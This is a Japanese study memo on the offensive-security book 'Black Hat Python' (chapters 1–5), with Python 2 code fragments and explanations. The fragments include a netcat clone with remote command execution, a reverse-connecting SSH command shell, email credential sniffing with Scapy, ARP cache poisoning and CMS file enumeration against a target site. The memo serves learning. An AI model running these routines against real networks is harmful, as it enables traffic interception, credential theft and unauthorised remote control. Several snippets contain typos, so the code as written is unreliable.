【勉強メモ】サイバーセキュリティプログラミング -Pythonで学ぶハッカーの思考- (1)
邦題は「サイバーセキュリティプログラミング」と「守」側っぽいネーミングだが、原題は「Black Hat Python」*1という「攻」側を匂わせる名前であり、内容も「攻」寄りの内容だ。PythonによるNetCatの自作から始まり、パケットキャプチャー、Webサーバへの攻撃など、「ハッカーっぽい」(素人目から見てだが)テクニックが学べる。内容の濃い一冊。
2015年発行でPython2が使われており、Python3推奨の現在としては少し抵抗があるが、自身でPython3に書き換えるのも勉強になって良いと思う。
なお、原語では「Black Hat Python 2nd Edition」として、Python3で書かれた本も出ているので、こちらに取り組んでみるのも良いかも。
(僕はどちらもやってないけど…)
長いので、とりあえず1~5章までをまとめ。
1章 Python環境のセットアップ
2章 通信プログラムの作成:基礎
2.2 TCP Client
- socket.socketメソッドで、ソケットオブジェクトを作成
AF_INETはIPv4ファミリ、SOCK_STREAMはソケットタイプをTCPに指定している。 - 作成したソケットで相手先に接続(connectメソッド)
- ソケットを通じてデータを送信(sendメソッド)と受信(recvメソッド)
# python2 import socket # socketモジュールは低水準ネットワークインタフェースモジュール target_host = "www.example.com" target_port = 80 client = socket.socket( socket.AF_INET, socket.SOCK_STREAM) # ソケットオブジェクト作成 # AF_INET -> IPv4, SOCK_STREAM -> TCP client.connect((target_host, target_port)) # IPアドレスとポートはタプルで渡す # connect()メソッドは、リモートソケットに接続する client.send("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n") # ソケットにデータを送信 # send()メソッドを使うには、ソケットはリモートソケットに接続済みでなければならない response = client.recv(4096) # 4096byteのデータを受信 # recv()メソッドは、ソケットからデータを受信し、結果をbytesオブジェクトで返す。 print response
2.3 UDP Client
TCP Clientとの違いは
ソケット作成時のソケットタイプはSOCK_STREAMではなく「SOCK_DGRAM」
connectメソッドによる接続(コネクション)は不要
データ送信時はsend()ではなく、コネクション不要なsendtoメソッドを使用
データ受信時はrecv()ではなく、コネクション不要なrecvfromメソッドを使用
# python2 import socket target_host = "127.0.0.1" target_port = 80 client = socket.socket( socket.AF_INET, socket.SOCK_DGRAM) # ソケットオブジェクト作成 # SOCK_DGRAM -> UDP client.sendto("AAAABBBBCCCC", (target_host, target_port)) # データの送信 # sendto()メソッドはソケットにデータを送信する。 # メソッド引数で接続先アドレスを指定するので、send()と違い、接続済みではいけない # UDPはコネクションレスなので、connect()できないし。 data, addr = client.recvfrom(4096) # データの受信 # recvfrom()メソッドはソケットからデータを受信し、結果をタプル(bytes, address)として返す。 # recv()メソッドじゃダメ? ⇒ recv()はconnect済みのソケットにのみ使用 print data
2.4 TCP Server
1: ソケットオブジェクトの作成
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
2: ソケットを待受IPアドレス、待受ポートにバインドする
server.bind((bind_ip, bind_port))
3: ソケットをLISTEN状態にする
server.listen(5) # 接続キュー最大値5
4: 接続が来るまで待機し、接続が来たら受け入れる
client, addr = server.accept()
5: ソケットからデータ受信(recvメソッド)し、"ACK!"を送信(sendメソッド)して閉じる
def handle_client(client_socket): request = client_socket.recv(1024) # 受信 client_socket.send("ACK!") # 送信 client_socket.close() # ソケット閉じる
6: 複数クライアントを受け付けるため、クライアント処理用関数を別スレッドで起動(threading.Tread)
client_handle = threading.Thread(target=handle_client, args=(client,))
2.5 自作NetCat
1: コマンド引数を解析する(getopt.getoptメソッド)
opts, args = getopt.getopt( sys.args[1:], "hle:t:p:cu:", ["help", "listen", "execute=", "target=", "port=", "command", "upload="])
2: クライアント動作する場合(-lなし)
2_1: ソケット作成
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2_2: サーバへ接続、入力バッファがあれば送信
client.connect((target, port))
client.send(buffer)
2_3: サーバからのデータ受信⇒クライアントから送信をループ
while True: while recv_len: data = client.recv(4096) client.send(buffer)
3: サーバ動作する場合(-lあり)
3_1: ソケット作成
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3_2: ソケットをアドレスにバインド、リッスン
server.bind((target, port))
server.listen(5)
3_3: クライアント受入 ⇒ クライアント処理関数を別スレッドで起動のループ
while True: client_socket, addr = server.accept() client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start()
4: コマンド実行の場合。コマンド文字列をサブプロセスとして実行
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
5: サーバとしてクライアントを受け入れた後の処理(ファイルの読込、書込、実行)
file_descriptor = open(upload_destination,"wb") # ファイルオープン file_descriptor.write(file_buffer) # ファイルへ書込み file_descriptor.close() # ファイル閉じる
2.6 TCP Proxy の構築
基本的な考え方は、
ローカル向けソケットとターゲット向けソケットを作り、
ローカルからデータ受信 ⇒ リモートへ送信 ⇒ リモートから応答受信 ⇒ ローカルへ送信
(以下ループ)
1: クライアント向けソケット(サーバ動作用)を作成、バインド、リッスン、アクセプト
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ソケット作成 server.bind( (local_host, local_port) ) # バインド server.listen(5) # リッスン while True: client_socket, addr = server.accept() # 接続来たら受入
2: プロキシ処理を別スレッドで起動
proxy_thread = threading.Thread(
target=proxy_handler, # プロキシ処理を別スレッドで起動
args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
3: プロキシ処理では、ターゲット向けソケットを作成、コネクト
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ソケット作成 remote_socket.connect( (remote_host, remote_port) ) # コネクト
4: 最初にリモートからデータ受信(あれば)
while True: remote_buffer = remote_socket.recv(4096) # リモートから受信
5: ローカルからデータ受信 ⇒ リモートへ送信 ⇒ リモートから応答受信 ⇒ ローカルへ送信、のループ
while True: local_buffer = client_socket.recv(4096) # ローカルからデータ受信 remote_socket.send(local_buffer) # リモートへ送信 remote_buffer = remote_sokcet.recv(4096) # リモートから応答受信 client_socket.send(remote_buffer) # ローカルへ送信
★ Pythonの3項演算子
digits = 4 if isinstance(src, unicode) else 2 # isinstance( object, classinfo ) # object引数がclassinfo引数のインスタンスであるか(真ならTrueを返す) # classinfoは型や型からなるタプルでなければならない # <条件が真で評価される式> if <条件式> else <条件が偽で評価される式> # Pythonの三項演算子。C言語のものとは少し順番が異なる(Cは条件式が先頭)
★ リスト内包表記、if判定付きリスト内包表記
for i in xrange( 0, len(src), length) : s = src[ i : i+length ] hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s] ) # join()メソッドは文字列のリストを一つの文字列に連結できる。 # なお、文字列連結だけなら +, +=も使える # リスト内包表記 # [ <xを使った式> for x in s ] ⇒ [<s[0]を代入した式>, <s[1]を代入した式>, …] # ["%0*X" % (4, ord(x)) for x in b"abcde" ] ⇒ [ '0061', '0062', '0063', '0064', '0065'] # "%0*X" ⇒ アスタリスク('*')があると、最小フィールド幅を値で指定できる。 # ここの'*'には最初の引数(4)が入り、%04Xになる。Xは大文字16進数表記 text = b''.join( [ x if 0x20 <= ord(x) < 0x7F else b'.' for x in s ]) # if判定付きリスト内包表記 [ <真での値> if <条件式> else <偽での値> for x in s] # sの要素を順にxに代入し、 0x20 <= ord(x) < 0x7F を満たせばリストに加える。 # 満たさなければ b'.' を要素に加える # もし "else"を使わない場合は、if文を後方に持ってくる # ex) [ x for x in s if 0x20 <= ord(x) < 0x7F ] result.append( b"%04X %-*s %s" % ( i, length(*(digits+1), hexa, text) # append()メソッド:リスト末尾に要素を追加 # %-*s ⇒ ハイフン('-')は変換された値を左寄せにする
★ 文字列への値埋め込み
- printfスタイル: "%s %d %f" % ("Hello", 10, 3.14 )
- dictメソッド利用: "%(a)s %(b)d %(c)f" % dict( a="Hello", b=10, c=3.14 )
- formatメソッド利用: "{0} {1} {2}".format("Hello", 10, 3.14)
format()メソッドでは {index番号:書式指定} でさらに詳しく書式を指定できる。
(ex) "{0} {1:.2f} {2:.1f}".format("Hello", 10, 3.14) ⇒ 'Hello 10.00 3.1'
2.7 Paramikoを用いたSSH通信プログラムプログラムの作成
netcatを使ったピボッティング(通信の足場作り)はお手軽だが、やはり暗号化したい。
Pythonでは、rawソケットを用いて暗号化処理を実装することで、独自のSSHサーバ/クライアント実装可能。
ただ、Pramikoモジュール(PyCryptoを使ったライブラリ)*2を使えば、SSH2プロトコルを容易に扱える。
1: SSHクライアントオブジェクトを作成(SSHClientメソッド)
client = paramiko.SSHClient()
2: SSH接続時のポリシー設定(set_missing_host_key_policyメソッド)
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username='justin', password='lovesthepython')
4: 暗号化接続であるSSHトンネルを確立(get_transportメソッド)し、SSHチャネルを作成(open_sessionメソッド)
ssh_session = client.get_tanport().open_session()
5: SSHチャネル(セッション)を通じて、コマンド実行結果を取得(exec_commandメソッド)
ssh_session.exec_command("ls -la")
6: SSHチャネルを通じて応答受信(recvメソッド)
ssh_session.recv(1024)
こんな簡単にSSHクライアントを作れるなんてステキ。
★ Paramikoの「transport」と「channel」
Paramikoには通信に関する主なメソッドが二つある。
★ 攻撃側(SSHサーバ)にリバース接続し、サーバからコマンドを受信して実行するSSHクライアント
【SSHクライアント(リバース接続)】
1: SSHチャネルを通じてコマンドを送信し、バナー情報読取
ssh_session.send(command)
ssh_session.recv(1024)
2: SSHサーバからコマンドを受け取り、実行結果をサーバに送り返す、のループ
while True: command = ssh_session.recv(1024) cmd_output = subprocess.check_output( command, shell = True ) ssh_session.send( cmd_output )
【SSHサーバ(攻撃側)】
1: Serverクラスの作成。paramiko.ServerInterfaceクラスを継承している
class Server (parmiko.ServerInterface) : def _init_(self) self.event = threading.Event() def check_channel_request(self, knd, chanid): ...(略)... def check_auth_password(self, username, password): ...(略)...
2: サーバ用待受ソケットを作成し、TIME_WAIT状態を続けないように設定
SO_RESUSEADDR : TIME_WAIT状態のソケットを期限切れを待たずに再利用する
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SOREUSEADDR, 1)
3: ソケットのバインド、リッスン、アクセプト
sock.bind( (server_ip, ssh_port) )
sock.listen(100)
client, addr = sock.accept()
4: SSHトンネル用のtransportオブジェクト作成、ホストキーを追加
bhSession = paramiko.Transport(client)
host_key = paramiko.RSAKey( filename = 'test_rsa.key' )
bhSession.add_server_key( host_key )
5: SSHのServerオブジェクトを作成し、サーバ開始
server_if = paramiko.ServerInterface() bhSession.start_server( server = server_if)
2.8 SSHトンネリング
Paramikoのデモファイルの一つ「rforward.py」は、SSHリバーストンネリングを行うスクリプト。この処理内容を理解する。
main()
- 必要な引数(オプション、サーバ、フォワード先)を受け取る
- paramiko.SSHClient()でClientオブジェクトを作成、keyやpolicyを設定
- client.connect()メソッドでサーバに接続
- reverse_forward_tunnel(options.port, remote_host, remote_port, client.get_transport() )を呼び出し
⇒ 引数のtransportには、get_transport()で新たなtransportオブジェクトを渡している。
reverse_forward_tunnel()メソッド
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): trasnport.request_port_forward("", server_port) # SSHサーバからTCPコネクションを転送 # request_port_forward(address, port, handler=None) # address:転送時にバインドするアドレス(未指定なら0.0.0.0ってこと?) # SSHセッションを介して、サーバのリスニングポートからポートフォワードするようにサーバへ要求 while True: chan = transport.accept(1000) # 新しいtansportからchannel立ち上げ if chan is None: continue # handlerメソッドでスレッド作成 thr = threading.Thread(target = handler, args=(chan, remote_host, remote_port)) thr.setDaemon(True) # thrをデーモンに設定。メインスレッドと一緒に終了する thr.start() # thrスレッドをスタート
handler()メソッド
def handler(chan, host, port): sock = socket.socket() # ソケット作成 try: sock.connect((host,port)) # 相手先に接続 except Exception as e: verbose('Forwarding request to %s:%d failed: %r' % (host, port, e)) return verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, chan.getpeername(),(host,port))) while True: # データの送受信を行うループ # selectモジュール r, w, x = select.select( [sock, chan], [], [] ) # select(selectors)モジュールは、監視対象の複数ソケットに対して # 定期的に問い合わせ、送受信が可能かどうか(読込、書込、例外)をチェックし、 # 準備OKなソケットをリストにして返す if sock in r : data = sock.recv(1024) if len(data) == 0: break chan.send(data) # ソケットで受信したデータをSSHチャネルから送る if chan in r: data = chan.recv(1024): if len(data) == 0: break sock.send(data) # SSHチャネルで受信したデータをソケットから送る chan.close() sock.close() verbose( 'Tunnel closed from %r' % (chan.origin_addr, ))
3章 ネットワーク:rawソケットと盗聴
pythonでネットワークスニッファ(パケットキャプチャ)を作る。生のIPヘッダやICMPヘッダのような低レベルのネットワーク情報にアクセスするにはrawソケットを使う。 ここでは、UDPを用いたホスト発見ツールを作成していく。
3.2 WindowsとLinuxにおけるパケット盗聴
1: まずはソケットオブジェクトを作成する。
# WIndowsの場合 sniffer = socket.sokcet(sokcet.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) # Linuxの場合 sniffer = socket.sokcet(sokcet.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # socket.SOCK_RAW : データリンク層を扱うソケットタイプ。IPヘッダが含まれる。 # socket.IPPROTO_IP : ソケットで扱うプロトコルをIPに指定(オプション) # socket.IPPROTO_ICMP : ソケットで扱うプロトコルをICMPに指定(オプション) #★ WindowsとLinuxのソケットオプションの違い # Windowsではソケットのプロトコルによらず全ての入力パケットを盗聴できる。 # LinuxではICMPを盗聴することを指定する必要がる。
2: ソケットをIPアドレスにバインド(bind)
sniffer.bind((host_ip, 0)) # ポート0に設定すると、任意ポートへの着信接続を受け入れる
3: キャプチャ結果にIPヘッダを含めるように設定
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
// ※ socket.IP_HDRINC:扱うデータにヘッダを含めるオプション
4: OSがWindowsだった場合、プロミスキャスモードを有効にする
if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) # socket.ioctl(contorol, option)メソッドはWSAIoctlシステムインタフェース(Windows)へAPI。 # SIO_*、RCVALL_* はWindowsのWSAIoctl()のための定数。
5: パケットの読み込み
print sniffer.recvfrom(65565)
3.3 IPレイヤーのデコード
rawソケットは、パケットをバイナリで受け取るため非常に分かりにくい。そこでIPヘッダをデコードする。
1: 受信したバッファの最初20byteをマップするためのctypes構造体を定義する。
class IP(ctypes.Structure): #ctypesはC/C++と互換性のあるデータ型を提供し、動的リンク/共有ライブラリ関数呼出を可能にする。 #ctypes.Structureクラスは、C言語的な構造体を定義する際のベースクラスで、標準データ型の一つ。 #構造体を定義する際には ctypes.Structure のサブクラスとして定義する必要がある。 _fields_ = [ ("ihl", c_uint8, 4), ("version", c_uint8, 4), ("tos", c_uint8), ("len", c_uint16), ("id", c_uint16), ("offset", c_uint16), ("ttl", c_uint8), ("protocol_num", c_uint8), ("sum", c_uint16), ("src", c_uint32), ("dst", c_uint32) ] # IPヘッダの構造的には、version(4bit)が最初でihl(4bit)が次に来るが、 # 先頭8bitをリトルエンディアンで読み込んでいるので、verとihlの順序が逆になる def __new__(self, socket_buffer=None): return self.from_buffer_copy( socket_buffer ) # from_buffer_copy()は引数のバッファからctypesのインスタンスを作成する # つまり与えられたデータが_fields_の各要素にマッピングされる def __init__(self, socket_buffer=None): self.protocol_map = { 1:"ICMP", 6:"TCP", 17:"UDP"} self.src_address = socket.inet_ntoa(struct.pack("<L", self.src)) self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst)) self.protocol = self.protocol_map[self.protocol_num] # ★ __new__ と __init__ #どちらもインスタンスオブジェクト作成時に呼ばれるメソッドだが、3つの違いがある #【__new__】 # 1 インスタンスが生成される前に呼ばれる # 2 オブジェクト self をインスタンス化する # 3 第1引数 cls にクラスオブジェクトが代入される ⇒ クラス変数を編集できる # #【__init__】 # 1 インスタンスが生成された後に呼ばれる # 2 オブジェクト self を初期化する # 3 第1引数 self にインスタンスオブジェクトが代入される ⇒ インスタンス変数を編集できる
2: ソケット作成(socket)、バインド(bind)、オプション設定(setsockopt)、受信(recvfrom)
sniffer = socket.socket( socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP ) sniffer.bind( (host, 0 ) ) sniffer.setsockopt( socket.IPPROTO_IP, socket.IP_HDRINCL, 1 ) while True: raw_buffer = sniffer.recvfrom(65565)[0]
3: 受信バッファの最初の20byteからIP構造体を作成 ⇒ IPヘッダに分解
ip_header = IP( raw_buffer[0:20] ) # IP構造体のインスタンス作成に際して、__new__メソッドと__init__メソッドが適用されている。 # __new__で引数のバッファを_fields_のメンバにマッピング # __init__ でインスタンス変数に値をセットする
3.4 ICMPのデコード
ICMPの構造体を新たに作って、プロトコルがICMPであればデータ部を渡す。 さらに、閉じたポートに対してUDPパケットを送るとICMPレスポンス(Destination Unreachable)が返されることを利用して、端末のディスカバリスキャン(存否確認)を行うコードを作成する。
1: ICMPクラスを定義
class ICMP(ctypes.Structure): # ICMPヘッダの構造体クラス _fields_ = [ ("type", c_uint8), ("code", c_uint8), ("checksum", c_uint16), ("unused", c_uint16), ("next_hop_mtu", c_uint16)] def __new__(self, socket_buffer): return self.from_buffer_copy( socket_buffer) def __init__( self, socket_buffer): pass # 何もしない
2: IPデコードし、プロトコルがICMPであればICMP構造体にマッピングする
if ip_header.protocol == "ICMP" : offset = ipheader.ihl * 4 # ihlは4byte(32bit)なので、x4する buf = raw_buffer[ offset:offset + sizeof(ICMP) ] icmp_header = ICMP( buf )
3: ソケット作成し、サブネットに対してパケットを送信する関数を定義
import netaddr # netaddrモジュールはPythonでIPアドレスを操作するためのモジュール def udp_sender(subnet, magic_message): time.sleep(5) # 5秒スリープ sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for ip in IPNetwork( subnet ): # netaddr.IPNetworkクラスはネットワーク/サブネット/VLANを構成するIPアドレスを表す # for ip in IPNetwork("192.168.0.0/24") # print ip # ⇒ "192.168.0.0", "192.168.0.1", …, "192.168.0.255" # 65212/udp(使われてなさそうなポート)にマジック文字列を送信 sender.sendto( magic_messag, ("%s" % ip, 65212) )
4: 別スレッドでUDPパケットをサブネットに送信
t = threading.Thread( target=udp_sender, args=(subnet, magic_message) ) t.start()
5: 受信ループを回して、返ってくるICMPパケット(Destination Unreachable)を受信
while True: raw_buffer = sniffer.recvfrom(65535)[0] # recvfrom()の戻り値のうち、第1要素のみ取得 (…中略…) # type==3(Destination Unreachable) かつ code==3(Port Unreachable)のとき if icmp_header.code == 3 and icmp_header.type == 3 : if IPAddress( ip_header.src_address ) in IPNetwork( subnet ): # マジック文字列を含むか確認 if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message : print "Host Up: %s" % ip_header.src_address
4章 Scapyによるネットワークの掌握
Scapyは強力かつ柔軟なパケット操作ライブラリで、2・3章の内容をScapyにより1~2行で実現できる。 たとえば、単にパケットをダンプ・分析するだけのスニッファーのひな型は以下の通り。
# -*- coding: utf-8 -*- from scapy.all import * ← この書き方は結構スタンダードらしい # 「scapy.all」はすべてのScapyモジュールから、最上位オブジェクトを集約する # パケット処理用コールバック関数 def packet_callback(pakcet): print pakcet.show() # スニッファーを起動 sniff( prn=packet_callback, count=1 ) # sniff(*args, **kwargs ) はscapyに備わっている傍受用関数 # prn:フィルターにマッチしたパケットに関して呼ばれるコールバック関数を指定 # count:キャプチャーするパケット数(0だと無制限) # store:キャプチャパケットをメモリ上に保持するか(N)、か破棄するか(0) # filter:BPF(Berkely Packet Filter)パケットフィルタ文字列 # 他にも、session, lfilter, offline, quiet, timeout, L2socket, # opened_socket, stop_filter, iface,monitor started_callback
4.1 電子メールの認証情報の窃取
Scapyのインタフェースを使って、SMTP・POP3・IMAPの認証情報を窃取する。
1: SMTP, POP3, IMAPのパケットをフィルターしてキャプチャする(scapy.sendrecv.sniffメソッド)
sniff( filter = "tcp port 25 or tcp port 110 or tcp port 143", prn = pakcet_callback, store = 0)
2: キャプチャしたパケットをコールバック関数 packet_callback で処理する。 TCPペイロードがあれば文字列化して、"user","pass"が含まれているかチェック
def packet_callback(packet): if packet[TCP].payload: mail_packet = str( packet[TCP].payload ) # ペイロードを文字列に変換 if "user" in mail_packet.lower() or "pass" in mail_packet.lower():#小文字化 print "[*] Server: %s" % packet[IP].dst
4.2 Scapyを使ったARPキャッシュポイゾニング
ARPポイゾニングはハッキング手法の中で最も古い技術の一つだが、いまだに最も効果的な技術の一つでもある。ここでは、LAN内のマシンに自分のマシンをゲートウェイと思わせる。
1: Scapyで扱うインタフェースを設定する
conf.iface = "eth0" # インタフェースの選択(多分) conf.verb = 0 # 出力の停止 # confクラスはscapy.config モジュール内のオブジェクト
2: ゲートウェイと標的のIPアドレスに対応するMACアドレスを解決する。
def get_mac(ip_address) : responses, unanswered = srp( # scapy.sendrecv.srp(pakcet):L2でパケット送信及び受信 Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) for s, r in responses: return r[Ether].src return None
3: ARPポイゾニング用パケットを構築。ゲートウェイとターゲットの間に入る。
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac,stop_event): poison_target = ARP() # ARPデータを構築 poison_target.op = 2 # ARP動作の設定。2:ARP応答 poison_target.psrc = gateway_ip # ターゲットに対してゲートウェイを騙る poison_target.pdst = target_ip # 宛先IP(ターゲット) poisoin_target.hwdst = target_mac # 宛先MAC(ターゲット) poison_gateway = ARP() # ARPデータを構築 poison_gateway.op = 2 # APR応答に設定 poison_gateway.psrc = target_ip # ゲートウェイに対してターゲットを騙る poison_gateway.pdst = gateway_ip # 宛先IP(ゲートウェイ) poison_gateway.hwdst = gateway_mac # 宛先MAC(ゲートウェイ) while True: send(poison_target) # ARPポイゾニングパケットをターゲットを送信 send(poison_gateway) # ARPポイゾニングパケットをゲートウェイに送信 if stop_event.wait(2): #イベントが発生するかタイムアウトになるまで現在のスレッドを待機 break print "[*] ARP poison attack finished." return
4: ARPポイゾニング用スレッドを起動
# stop_event = threading.Event() #スレッドの生成 poison_thread = threading.Thread( target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac, sotp_event)) poison_thread.start() #スレッド起動
5: ポイゾニングによって中継させたパケットをキャプチャ&保存
packets = sniff( count=pakcet_count, filter="ip host 192.168.0.1", iface="eth0") wrpcap( 'arper.pcap', packets)
6: ポイゾニングスレッドの停止
stop_event.set() # set():イベント発生させ、待機スレッドを再開させる poison_thread.join() # join():スレッドが終了するまで待機する
7: ネットワークを復元(ポイゾニングを解除)。ゲートウェイ及びターゲットにARPリセットのパケットを送る
send( ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send( ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
★ threading.Eventオブジェクト
イベントは、スレッド間で通信を行うための単純なメカニズムの一種。あるスレッドがイベントを発信し、他のスレッドはそれを待つ。イベントオブジェクトは内部フラグを管理する。フラグはset()メソッドでTrue、clear()メソッドでfalseになる。wait()メソッドはフラグがtrueになるまで(set()が呼ばれるまで)ブロックする。
4.3 pcapファイルの処理
Scapyを使ってpcapファイルを分析する。ここでは、HTTP通信から画像ファイルを取り出し、人の顔を含む画像を検出する(人の顔の識別にはOpenCVを使用する)。
1: 処理対象のpcapファイルを開く
pakcetlist = rdpcap( pcap_file ) # rdpcap()はScapyの関数。 # 戻り値はscapy.plist.PacketListのオブジェクト。複数のパケットを保持・操作できる
2: Scapyの機能で、各TCPセッションを自動的に分割して辞書型し、HTTP通信だけを取り出す。
sessions = packetlist.sessions() # sessions()メソッドで 、{セッション情報:PacketList} の辞書データを返す。 # {'TCP 192.168.11.8:51520 > 192.168.11.100:80' : <PacketList: TCP:7 UDP:0 ICMPa:0 Other:0>, # 'TCP 192.168.11.100:80 > 192.168.11.8:51518' : <PacketList: TCP:9 UDP:0 ICMP:0 Other:0>, # 'TCP 192.168.11.8:51521 > 192.168.11.100:80' : <PacketList: TCP:6 UDP:0 ICMP:0 Other:0>, # 'UDP 192.168.11.8:137 > 192.168.11.255::137' : <PacketList: TCP:0 UDP:3 ICMP:0 Other:0>,…}
3: 全てのHTTP通信のペイロードを一つのバッファに連結する(Wiresharkの「Follow TCP Stream」)
for session in sessions: # 辞書型でforループを回すとKEY値(セッション情報)が入る for packet in sessions[session] # packetにはsession(KEY)に対応するPacketList入る if packet[TCP].dport==80 or packet[TCP].sport==80: http_payload += str( packet[TCP].payload ) # str():引数オブジェクト(数値、リスト、タプル)を文字列にして取得
4: HTTPヘッダをパースし、レスポンス内に画像があるか確認する
headers_raw = http_payload[:htt_payload.index("\r\n\r\n")+2] # HTTPヘッダー抽出 headers = dict( re.findall(r"(?P<name>.*?):(?P<value>.*?)\r\n", headers_raw)) # headers_raw内の':'区切り部分(HTTPヘッダ)を <name>:<value> という形式で抽出・辞書化
★ re:正規表現モジュール
- re.findall(pattern, string, flags=0)
string中でpatternにマッチする全てをリストにする。 (?P<name>...)
マッチした部分文字列はグループ名nameでアクセスできる(名前付きグループ)
example = "abcd:1234" re.findall(r"(?P\<name\>.*?):(?P<value>.*)", example) ⇒ ['abcd', '12345']
5: 画像種別と画像のバイナリデータを取得する
image_type = headers['Content-type'].split("/")[1] # 'image/***'の'***'部分を抽出 image = http_payload[http_payload.index("\r\n\r\n")+4:] # HTTP Bodyは"\r\n\r\n"の後に来るので、"\r\n\r\n"の開始位置+4からデータを読み取る
6: 抽出した画像をファイルに保存し、OpenCV(importする際はcv2)を使って顔検出する
file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type) #ファイル保存 img = cv2.imread(path) # 画像読込 # 学習済みの顔検出用の分類器(haarcascade_frontalface_alt.xml)を適用し、分類器オブジェクト作成 cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") # 分類器を使って実際の画像を検出させる。 rects = cascade.detectMultiScale(img, 1.3, 4, cv2.CASCADE_SCALE_IMAGE, (20,20)) # 注意:本書第2版では cv2.cv.CV_HAAR_SCALE_IMAGE を使っていたが、cvサブモジュールは 3.0で削除 # OpenCV4.2ではcv2.CASCADE_SCALE_IMAGEを使用 # 画像中のすべての顔をハイライト for x1,y1,x2,y2 in rects: # 検出された矩形座標を元に長方形を描いて画像出力 cv2.rectangle(img, (x1,y1),(x2,y2),(127,255,0,),2) cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img)
★ OpenCV(Open Source Computer Library)
Intel ⇒ Willow Garage ⇒ Itseez が開発中。コンピュータで画像・動画を処理する機能が実装。
フィルター処理、行列演算、領域分割、カメラキャリブレ、特徴点抽出、 物体認識、機械学習、パノラマ合成、コンピュテーショナルフォトグラフィ、GUI
★ カスケード型分類器
物体検出を行うためには検出したい物体(ここでは顔)がどんな特徴を持っているのか、該当する物体を含む画像と含まない画像(=学習用画像)を用意し、検出したい物体の特徴(特徴量)を機械学習で抽出する。学習用画像すべての特徴量をまとめたデータのことを「カスケード型分類器」と呼ぶ。
上記では「haarcascade_frontalface_alt.xml」が分類器である。
★ Haar-Like特徴(ハールライク特徴)
画像の明暗差によって特徴を捉える。画像の一部を切り出して局所的な明暗差を算出し、それらをいくつも組み合わせることで物体を判別できるようになる。 他にLBP(Local Binary Pattern)特徴、HOG(Histogram of Oriented Gradients)特徴など。
5章 Webサーバへの攻撃
Webアプリの解析は攻撃者にとってもペンテスタにとっても非常に重要。近年のネットワークではWebアプリが最も攻撃に晒され、侵入に最もよく使われている。w3afやsqlmapなど、Pythonで書かれた素晴らしいWebアプリ用攻撃ツールが数多く存在する。
5.1 Webのソケットライブラリ:urllib2
ネットワークツール作成にsocketライブラリを使ったように、webを扱うにはurllib2ライブラリ*3を使う。 (socketでもHTTP通信できてたけど、テキストとしてHTTPを全部書く必要があったので手間が掛かる)
(例) GoogleのWebサイトに単純なGETリクエストを送る
import urllib2 body = urllib2.urlopen("http://www.google.com") # URLをオープン(デフォ動作のGET) # bodyにはファイルと似た、HTTPResponseオブジェクトが返される print body.read() # Webサーバが返してきたものを表示
※上記コードではページ取得だけで、Javascriptなどは動作しない。
(例) Requestクラスを使い、User-AgentヘッダをGooglebotに偽装してGETリクエストを送る
import urllib2 url = "http://www.goolge.com" myheaders = {} # 空の辞書型変数を定義 myheaders['User-Agent'] = "Googlebot" # 'User-Agent':'Googlebot'を追加 request = urllib2.Request(url, headers=myheaders) response = urllib2.urlopen(request) # urlopen()のURLはRequestオブジェクトでも可 print response.read() response.close() # HTTPセッションを閉じる
5.2 オープンソースのWebアプリケーションのインストール
正直、はじめこのセクションで何をしているのかよく分からなかったが、おそらく以下のようなことをやっていると思う。
- まず前提として、ターゲットサイトと同じCMSのファイルセットを用意
- 用意したファイルセットから、欲しいファイル名を抽出(拡張子で選別)
- 抽出したファイル名を使って、実際のターゲットサイトから同名ファイルを取得
これで、ターゲットがCMSのどのファイルを持っているか、場合によっては公開時には削除すべきファイルをそのまま残していないかなどをリストアップすることができる。
1: ターゲットが使用していると思われるCMSをファイル群を用意し、カレントディレクトリを移動
os.chdir("./joomla-3.1.1")
2: CMSファイル群のディレクトリを走査し、チェック用パスを収めたキューを作る。
web_paths = Queue.Queue() # 空のFIFOキューオブジェクトを生成 for r, d, f in os.walk("."): # 指定directory下を走査し、 # directory名、sub-directoryリスト, fileリスト返す for files in f: # fileリストから、順にファイル名を取り出す remote_path = "%s/%s" % (r, files) # "ディレクトリ/ファイル"形式でパス作成 if remote_path.startswith("."): # ファイル名が"."始まりなら… remote_path = remote_paht[1:] # 先頭の"."を除いて扱う if os.path.splitext(files)[1] not in filters:# 拡張子で分割、拡張子を取得 web_paths.put(remote_path) # 除外リストに無ければ、キューにファイル名を追加
3: ターゲットサイトが、キューにあるファイル/ディレクトリを持っているかチェックする
